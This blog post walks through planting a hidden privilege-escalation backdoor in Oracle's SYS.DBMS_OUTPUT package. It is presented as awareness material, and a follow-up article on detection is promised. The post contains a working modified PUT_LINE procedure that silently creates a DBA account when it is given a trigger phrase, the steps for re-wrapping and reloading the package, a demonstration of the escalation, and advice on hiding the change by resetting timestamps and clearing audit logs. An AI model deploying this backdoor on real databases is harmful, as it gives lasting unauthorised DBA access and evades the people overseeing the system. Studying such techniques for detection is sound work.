This post is also available in:
Português
In this article, I will show how it is extremely simple to inject a hidden rootkit inside an Oracle database PL/SQL object (like a procedure) making it very hard to detect for almost all DBA’s and Security Admins. It’s important to understand and know how those virus works so we can always be prepared to combat them. Later in another article, I will also show how to detect and eliminate this type of threat.
UPDATE: Article about orachksum tool is ready.
Virus/malwares/rootkits are simple peace of code that are driven to evil. As they are program instructions, they can run in anyplace that accept codes, and when we are talking about Oracle Database, first thing that comes in mind are PL/SQL objects.
Rootkit is a simple “kit” to become “root”. In the Oracle DB world, that would be a hidden kit to become “sys”, as this is the highest privilege within Oracle DB. More appropriate name here would be “syskit” or “dbakit“.
So, if you’ve ever given DBA access to someone other than yourself, you have the chance to have a dbakit or another malicious code in your Oracle database. Can be an upset ex-employee, some temporarily service provider guy that needed this privilege for a very short time, the mad developer who asked DBA access to build his application (and you granted it!) or even a hacker that explored some leak and left an open door behind, so he could come back one day.
In other words, to inject the rootkit, the attacker must have had SYS privileges in some point of time. However, to use and explore it, he only needs CREATE SESSION, meaning that even if the current database administrator removes the privileged roles from him he can still become DBA.
So, thinking like a hacker, to deploy a PL/SQL level dbakit, he will follow 3 principles:
- Inject in an object that is accessible to everyone.
- Inject in an object that is owned by some powerful user.
- Make it hard to be detected.
Let’s start.
First here I’m playing with 12.2.0.1 – Oct 2018 PSU/OJVM – Container Database – Oracle Linux 6.8
[oracle@localhost ~]$ sqlplus / as sysdba
SQL*Plus: Release 12.2.0.1.0 Production on Tue Dec 4 11:21:06 2018
Copyright (c) 1982, 2016, Oracle. All rights reserved.
Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
SQL> show pdbs
CON_ID CON_NAME OPEN MODE RESTRICTED
---------- ------------------------------ ---------- ----------
2 PDB$SEED READ ONLY NO
3 PDB01 READ WRITE NO
Rule 1 basically means that the attacker will try to find an object that has EXECUTE privileges to PUBLIC, while rule 2 means that this object needs to be owner by some powerful account, like a DBA or SYS.
We can get a list of some of those objects with the query:
SQL> set lines 30 pages 100 SQL> select distinct t1.object_name 2 from dba_procedures t1, dba_tab_privs t2 3 where t1.owner='SYS' 4 and t1.authid='DEFINER' 5 and t1.owner = t2.owner 6 and t1.object_name = t2.table_name 7 and t2.grantee='PUBLIC' 8 and t2.privilege='EXECUTE' 9 and t1.object_name like 'DBMS\_%' escape '\' 10 order by 1; OBJECT_NAME ----------------------------- DBMS_APPLICATION_INFO DBMS_APP_CONT_PRVT DBMS_AUTO_TASK DBMS_CDC_ISUBSCRIBE DBMS_CDC_SUBSCRIBE DBMS_CRYPTO_TOOLKIT DBMS_CUBE_ADVISE_SEC DBMS_DEBUG DBMS_DESCRIBE DBMS_LDAP_UTL DBMS_LOB DBMS_LOBUTIL DBMS_LOGSTDBY_CONTEXT DBMS_NETWORK_ACL_UTILITY DBMS_OBFUSCATION_TOOLKIT DBMS_OUTPUT DBMS_PICKLER DBMS_RANDOM DBMS_RESULT_CACHE_API DBMS_ROWID DBMS_SNAPSHOT_UTL DBMS_STANDARD DBMS_TF DBMS_TRACE DBMS_UTILITY DBMS_XA_XID DBMS_XS_NSATTR 27 rows selected. SQL>
So, all the packages above are owner by SYS and anyone with CREATE SESSION only can run them. They are also executed with SYS privileges, not the connect user. Let’s use DBMS_OUTPUT, a very common one, for this exercise.
Getting its code…
SQL> set pages 0
SQL> set long 100000
SQL> select dbms_metadata.get_ddl('PACKAGE_BODY','DBMS_OUTPUT') from dual;
CREATE OR REPLACE NONEDITIONABLE PACKAGE BODY "SYS"."DBMS_OUTPUT" wrapped
a000000
1
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
b
10c4 5d8
xj45EHIG5cl1aAF9cvrQRI+6G3Ewg0MreSAF3y8ZF7UY+Mm9LZmxHaeowB1QMzHz2Gk5oQ0I
vATni377JegRt8sdkoa/z5RsDNy6fk9gNi2iGdnHv3KQUwFtsrrvR9lDyz+dELVCtc7k0gg6
vXV2UOFn/4tE0a9kQpNvhVOq7TAd1StaR1r1hzszZbWy1hH/WLTNx+K48OYMjq2A8cXIv6ER
C7d0Wki6Js9CHVB5odntPIs8zvG0d/SzGT/Vlw1nPoTn9eKiAQ4KVW+oo23VGzNZ54VsFpCm
Fuqlp73tJC4/QUG1wEHm/5wwHU5MgA6OFPUxxxdE4ne9dwsY/9EVNN0BbC/fE/2OdLZlpjRF
SN6zuX2j4h2ic7w1aFEvY8gYGHZRhwYYXALCAQyCwK88sXSgqC3gmUaRf5sZfVesylTRUnJh
BWYPfI2czyBHtQXIOb52R1KQxyWlzLc688gq5jx8Nab3lvjIAezdO517dtl+Wk0c1Y6nvq1b
D1soJ3tr6ZWne1kWhTvlFKIN6NfALfom6eDhU6b8ORi0YPHV41X/Xx9p6hEyUYclFOiCCkAC
ft6HFR70kxCXuVOuT87XClF96xsbrKETs5XL9IV1TjWBheozMV5Vl0So039jJvYtR2M+QPrA
F7loiQjJD2ItZwKTfWbHL3KyJBRfMOCuCe3adoPNM1TjnvV0yNKhV+p5RvOJBK9t/4yhEegZ
JvUy5rJexLb2FeaaRPzybEePzXUrqHbgB3JC2+eDee/j3KgUScfaQeEzmdM6G2jkefdQhqNM
17anSnDxyQ2cFFKsF8ysCWa+E1OyZM2OM2OjZLyzKt9VAKw4PuV/DZfSsZkwU7W4qQdqByRB
+UbGlgeuvyjQqvc2z3N7TVuSpe75c3O2ehmTEbj4/uvugs96z2X8atIWlDJfaxLJnHcP3xau
cJaGJbgpPrOec5jme52pBcGY2qw8/S6CZhDn5Wj2kjagJhl2g1cepezNP0c4TlefQ7v6oQp+
CNW+kYcKk7l9zVZ1INdPudE87MbNCAmZdUGeOMfPF4qRliPS8ZqLQ4D9O5ioJ31IFL6wgiQT
I7DrJuMhZ7eEtiuTJsiX81PQjBn1hmPV7TTDTK/aQyP108bMXKx4f5Ur3BTZc9LLOuhUd0HM
b5bee/vvndGAZ1CjkLT7Rb2YTBqr6k7as+e7VVyHDpxYOkWUAb7w8s0TlRhESDynVV7DuavN
GpaVg6HffXQ7b80XAiE6A45QGg7au1oPy83RTGRKvjiMk6VLLL6JPxszz9gjTY52QRh3sdsb
BQt17SYNjEZ4VCDWFN6SP/rO+GwqhORnJIc3yn8iuzDkO3Sbnvfi0VIFrgN1SQA/IDicTvah
nT/s8sVlBYGcWIpzWmu90qpxc6n6459gjRqBEC5AE4emjwDXR+m4zCuOcV/baDBuaTy8YMex
rytkKIPVNMygE6Wg0OK1ukGDtSRzHbVrxqo=
SQL>
The code is obfuscated, but it’s not hard do use some online options to undo that.
1 PACKAGE BODY dbms_output AS
2
3
4
5 ENABLED BOOLEAN := FALSE;
6 BUF_SIZE BINARY_INTEGER;
7 LINEBUFLEN BINARY_INTEGER := 0;
8 PUTIDX BINARY_INTEGER := 1;
9 GETIDX BINARY_INTEGER := 2;
10 GET_IN_PROGRESS BOOLEAN := TRUE;
11 TYPE CHAR_ARR IS TABLE OF VARCHAR2(32767) INDEX BY BINARY_INTEGER;
12 BUF CHAR_ARR;
13 BUFLEFT BINARY_INTEGER := -1;
14
15
16
17
18
19
20 PROCEDURE KKXERAE(
21 NUM BINARY_INTEGER
22 ,MSG VARCHAR2
23 ,KEEPERRORSTACK BOOLEAN DEFAULT FALSE);
24 PRAGMA INTERFACE (C, KKXERAE);
25
26 PROCEDURE RAISE_APPLICATION_ERROR(
27 NUM BINARY_INTEGER
28 ,MSG VARCHAR2
29 ,KEEPERRORSTACK BOOLEAN DEFAULT FALSE)
30 IS
31 BEGIN
32 KKXERAE(NUM, MSG, KEEPERRORSTACK);
33 END RAISE_APPLICATION_ERROR;
34
35
36
37
38
39
40 PROCEDURE ENABLE (BUFFER_SIZE IN INTEGER DEFAULT 20000) IS
41 LSTATUS INTEGER;
42 LOCKID INTEGER;
43 BEGIN
44 ENABLED := TRUE;
45 IF BUFFER_SIZE < 2000 THEN
46 BUF_SIZE := 2000;
47 ELSIF BUFFER_SIZE > 1000000 THEN
48 BUF_SIZE := 1000000;
49 ELSIF BUFFER_SIZE IS NULL THEN
50 BUF_SIZE := -1;
51 ELSE
52 BUF_SIZE := BUFFER_SIZE;
53 END IF;
54 BUFLEFT := BUF_SIZE;
55 END;
56
57 PROCEDURE DISABLE IS
58 BEGIN
59 ENABLED := FALSE;
60
61 BUF.DELETE;
62 PUTIDX := 1;
63 BUF(PUTIDX) := '';
64 GET_IN_PROGRESS := TRUE;
65 END;
66
67 PROCEDURE PUT_INIT IS
68 BEGIN
69 BUF.DELETE;
70 PUTIDX := 1;
71 BUF(PUTIDX) := '';
72 LINEBUFLEN := 0;
73 BUFLEFT := BUF_SIZE;
74 GET_IN_PROGRESS := FALSE;
75 END;
76
77 PROCEDURE PUT(A VARCHAR2) IS
78 STRLEN BINARY_INTEGER;
79 BEGIN
80 IF ENABLED THEN
81 IF GET_IN_PROGRESS THEN
82 PUT_INIT;
83 END IF;
84
85
86
87
88 STRLEN := NVL(LENGTHB(A), 0);
89 IF ((STRLEN + LINEBUFLEN) > 32767) THEN
90 LINEBUFLEN := 0; BUF(PUTIDX) := '';
91 RAISE_APPLICATION_ERROR(-20000, 'ORU-10028: line length overflow, ' ||
92 'limit of 32767 bytes per line');
93 END IF;
94
95 IF (BUF_SIZE <> -1) THEN
96 IF (STRLEN > BUFLEFT) THEN
97 RAISE_APPLICATION_ERROR(-20000, 'ORU-10027: buffer overflow, ' ||
98 'limit of ' || TO_CHAR(BUF_SIZE) || ' bytes');
99 END IF;
100 BUFLEFT := BUFLEFT - STRLEN;
101 END IF;
102
103 BUF(PUTIDX) := BUF(PUTIDX) || A;
104 LINEBUFLEN := LINEBUFLEN + STRLEN;
105
106 END IF;
107 END;
108
109 PROCEDURE PUT_LINE(A VARCHAR2) IS
110 BEGIN
111 IF ENABLED THEN
112 PUT(A);
113 NEW_LINE;
114 END IF;
115 END;
116
117 PROCEDURE NEW_LINE IS
118 BEGIN
119 IF ENABLED THEN
120 IF GET_IN_PROGRESS THEN
121 PUT_INIT;
122 END IF;
123 LINEBUFLEN := 0;
124 PUTIDX := PUTIDX + 1;
125 BUF(PUTIDX) := '';
126 END IF;
127 END;
128
129 PROCEDURE GET_LINE(LINE OUT VARCHAR2, STATUS OUT INTEGER) IS
130 BEGIN
131 IF NOT ENABLED THEN
132 STATUS := 1;
133 RETURN;
134 END IF;
135
136 IF NOT GET_IN_PROGRESS THEN
137
138 GET_IN_PROGRESS := TRUE;
139
140
141
142 IF (LINEBUFLEN > 0) AND (PUTIDX = 1) THEN
143 STATUS := 1;
144 RETURN;
145 END IF;
146
147 GETIDX := 1;
148 END IF;
149
150 WHILE GETIDX < PUTIDX LOOP
151 LINE := BUF(GETIDX);
152 GETIDX := GETIDX + 1;
153 STATUS := 0;
154 RETURN;
155 END LOOP;
156 STATUS := 1;
157 RETURN;
158 END;
159
160 PROCEDURE GET_LINES(LINES OUT CHARARR, NUMLINES IN OUT INTEGER) IS
161 LINECNT INTEGER := 1;
162 S INTEGER;
163 BEGIN
164 IF NOT ENABLED THEN
165 NUMLINES := 0;
166 RETURN;
167 END IF;
168 WHILE LINECNT <= NUMLINES LOOP
169 GET_LINE(LINES(LINECNT), S);
170 IF S = 1 THEN
171 NUMLINES := LINECNT - 1;
172 RETURN;
173 END IF;
174 LINECNT := LINECNT + 1;
175 END LOOP;
176 NUMLINES := LINECNT - 1;
177 RETURN;
178 END;
179
180 PROCEDURE GET_LINES(LINES OUT DBMSOUTPUT_LINESARRAY, NUMLINES IN OUT INTEGER)
181 IS
182 LINECNT INTEGER := 1;
183 S INTEGER;
184 N INTEGER;
185 BEGIN
186 IF NOT ENABLED THEN
187 NUMLINES := 0;
188 RETURN;
189 END IF;
190
191 LINES := DBMSOUTPUT_LINESARRAY();
192 LINES.DELETE;
193
194 IF NUMLINES < BUF.COUNT THEN
195 N := NUMLINES;
196 ELSE
197 N := BUF.COUNT;
198 END IF;
199
200 LINES.EXTEND(N);
201 WHILE LINECNT <= N LOOP
202 GET_LINE(LINES(LINECNT), S);
203 IF S = 1 THEN
204 NUMLINES := LINECNT - 1;
205 RETURN;
206 END IF;
207 LINECNT := LINECNT + 1;
208 END LOOP;
209 NUMLINES := LINECNT - 1;
210 RETURN;
211 END;
212
213 END;
Now with the code clear to be read, an attacker could inject the dbakit on it. Let’s say he changes the PUT_LINE function, one of the most common ones, and add something like that:
PROCEDURE PUT_LINE(A VARCHAR2) IS
BEGIN
IF ENABLED THEN
IF (a = 'shh! keep it secret!')
THEN
BEGIN
NEW_LINE;
execute immediate 'create user c##rj identified by oracle';
PUT('User c##rj created.');
NEW_LINE;
EXCEPTION WHEN OTHERS THEN NULL;
END;
BEGIN
NEW_LINE;
execute immediate 'grant dba to c##rj';
PUT('User c##rj granted DBA.');
NEW_LINE;
EXCEPTION WHEN OTHERS THEN NULL;
END;
END IF;
PUT(A);
NEW_LINE;
END IF;
END;
What the code above will do is detect if someone is trying to spool the exact sentence “shh! keep it secret!” and if so, it will create a CDB account named c##rj and grant DBA to it. Off course that the attacker doesn’t want any error printed on screen if it fails, so an EXCEPTION block goes there to deal with it.
The dbakit is ready. Now, next step is to inject it back to the database, but he will probably wrap it again before:
[oracle@localhost ~]$ wrap iname=dbms_output_mod.sql PL/SQL Wrapper: Release 12.2.0.1.0- 64bit Production on Tue Dec 04 13:28:57 2018 Copyright (c) 1993, 2009, Oracle. All rights reserved. Processing dbms_output_mod.sql to dbms_output_mod.plb [oracle@localhost ~]$ cat dbms_output_mod.plb CREATE PACKAGE BODY "SYS"."DBMS_OUTPUT" wrapped a000000 1 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd b 12a3 6a7 9KQrttwzNgyjF4mRkR5nhXBDf1cwg0NUea4FWi+8cuQY3vioYefjwCVSFY7eC66sAguA9phG +NMI4PK5V03mg+uhcwh4+PwNC7Cgv3P1b+EXv4dBWELJn2pfAsF+rHyXUQwwpPDoOmbVbZOT NDmnu1AdqT79bAQ3QmCTp8oM18aGv3zJoUr79EqXCGbQqoTVq7BfD9EGoN29wKj32z7xw6ze nEZ8ny+m+vOsV+wd9brTwCACvr0/LoppbbOD4NQDvcZ6xKhQP68Mve1TbqhXrjDUzqxSy1LL AlqmkQswclNUJNI/InqSQ4UHV/C4y4zZSmc+Wn3CsP7Tdh+6abvM9fyoR6hgbIBXJE/vF333 +1rZ3gxtKwfrz+CoGHLB44JdeoZCNQFhzIBXyQEJTcI6+75wtz4dOOPQk+OPAoSG8GGk526V rdG0fqfbqNUGVkxaTrUqGpBXmojuFNyhaqIuiwdnPOeTajb72yH8hG/n4cQ//LiOA6+MI1/3 1YvUPnV7BGkHW9JpLcfzGxRdYRbHuCcubZMwHF5tUzZQ+3eyXUvwFMaPRQD3hw5XhGOG0vHK f80+Klmbp4s+NADIrk/CGbnrST+wAfHS3ra2Negu/OAHRgtZ+A4j2wuBSE3iXdgv9IUldw3j BnFvhMm+gr8jlwQD+PMbVHBwmFpIU8dqdL0+uSakD9jLOSe+AG9u4XnhFBDTSm3f5lsYbY8K /5ChFrAZYfUy5g1exLYKxn6ak/yLRJzWxAujMbjjpBvBy+8RDfDdMUQTbmdkBJ5NttsILlPr /vSAZLcGfl1/qudbP2kSCHpiUx4UhUnxHvQFpYPcOA/llet4RTORvyg4yAjA0KNDpbELMFQi K6VpAD9UmmrrwScy/qXSH6HdnJbagWcsela1ceLuKdw11h6dsT2Cz9grCRCPIBpRSrOfcvo+ gZyely+0hX0hbqvyoOa16MhKSu6S61WkNR7w6Ij3tEZmuueSVKC8VHZNVx6l7M28+jg6RbDZ mre3KzFo0F3xiDvJvpCumDzP9vn1vy1QaH7QH6CmPvMmQbu7D68sXIHzFpNyPdflo52rzqPl zBqDGiMJNMj/HReywQSnRNftKY6MdbMFqVaHO9XO0llEmEJOyYHaViAKxoGbSJNVCZLu3jIy TmmycdVR7lsBOw5ZaLmYMvyb0E4vF6x7uKhXdfPP4qO6HJ7wZlu13+IoCgrGKmiHD6+Soe5o q9aOsOOM8/ioUiFC1YDogSXSS/BpYJuVFJLirYMAuyd9ktuzIJiLfSkAz2HpFKaXb/c4s8T7 BT6EUL8sLU2u0OK5oQNR1TA7cU9fIRVLFkKD212jMfFWc7D+dCAYrS6KkQiJyyxwXerB44P4 efZQn6lIFUgfJtQ9NDkhFZhXbbYhZUnoSKGn124JE5NN21Z49tmS1z6/8DMOlpUVoUvriKNi g3IYcYuuzGfIrLwldJVVDzslzUK3/cXsfA0eStlodkIAv/ccxZMHBWYqKsz63wTcGT2D3BX9 2Oo18SFMrsD+I/GZQHVOI04tNlIIiMYSlgHIzLj16fQFP+yVaPwIupnV+SgO+bIOYU2FisKd R5G7Ep4uDqq4gWIbPoOIjcGxsQhoh11ipoYpohlOatgaj3EUm+YKAqwzxBrDv0slHtZh0E6s K+13u4wetaewBv6utaZbX9/C / [oracle@localhost ~]$
Changing the first line to CREATE OR REPLACE NONEDITIONABLE PACKAGE BODY “SYS”.”DBMS_OUTPUT” wrapped
and injecting it back to the database:
SQL> @dbms_output_mod.plb Package body created. SQL> show errors No errors. SQL>
And now testing the dbakit:
SQL> select username from dba_users where username='C##RJ';
no rows selected
SQL> set serverout on
SQL> exec dbms_output.enable;
PL/SQL procedure successfully completed.
SQL> exec dbms_output.put_line('Hello');
Hello
PL/SQL procedure successfully completed.
SQL> exec dbms_output.put_line('Bye');
Bye
PL/SQL procedure successfully completed.
SQL> exec dbms_output.put_line('shh! keep it secret!');
User c##rj created.
User c##rj granted DBA.
shh! keep it secret!
PL/SQL procedure successfully completed.
SQL> select username from dba_users where username='C##RJ';
USERNAME
--------------------------------------------------------------------------------
C##RJ
SQL> conn c##rj/oracle
Connected.
The dbakit is ready. Now the only thing a user needs to do to get a DBA access if he has only the CREATE SESSION privilege is execute: exec dbms_output.put_line(‘shh! keep it secret!’);
Just to make it harder to detect, the attacker will probably revert back the modification timestamp of the package body change in obj$, clean audit logs and apply some other tricks to clean his traces.
In next article I will talk about the orachksum utility and how to use it to detect any modified oracle code inside your database.
Have you enjoyed? Please leave a comment or give a 👍!





2 comments
Nice explanation and concept, but there is a major flaw.
This:
CREATE PACKAGE BODY “SYS”
Followed by this:
SQL> @dbms_output_mod.plb
You cannot create or modify another user object with a single user without the proper permissions (specially a SYS object). In order to do the injection” one needs the DBA role.
Why bother then? Just add your own DBA user.
Author
I think you didn’t get the point. Rootkit main objectives are to be hidden and leave an opened backdoor. As told in the article, to perform this actions you must have admin privs.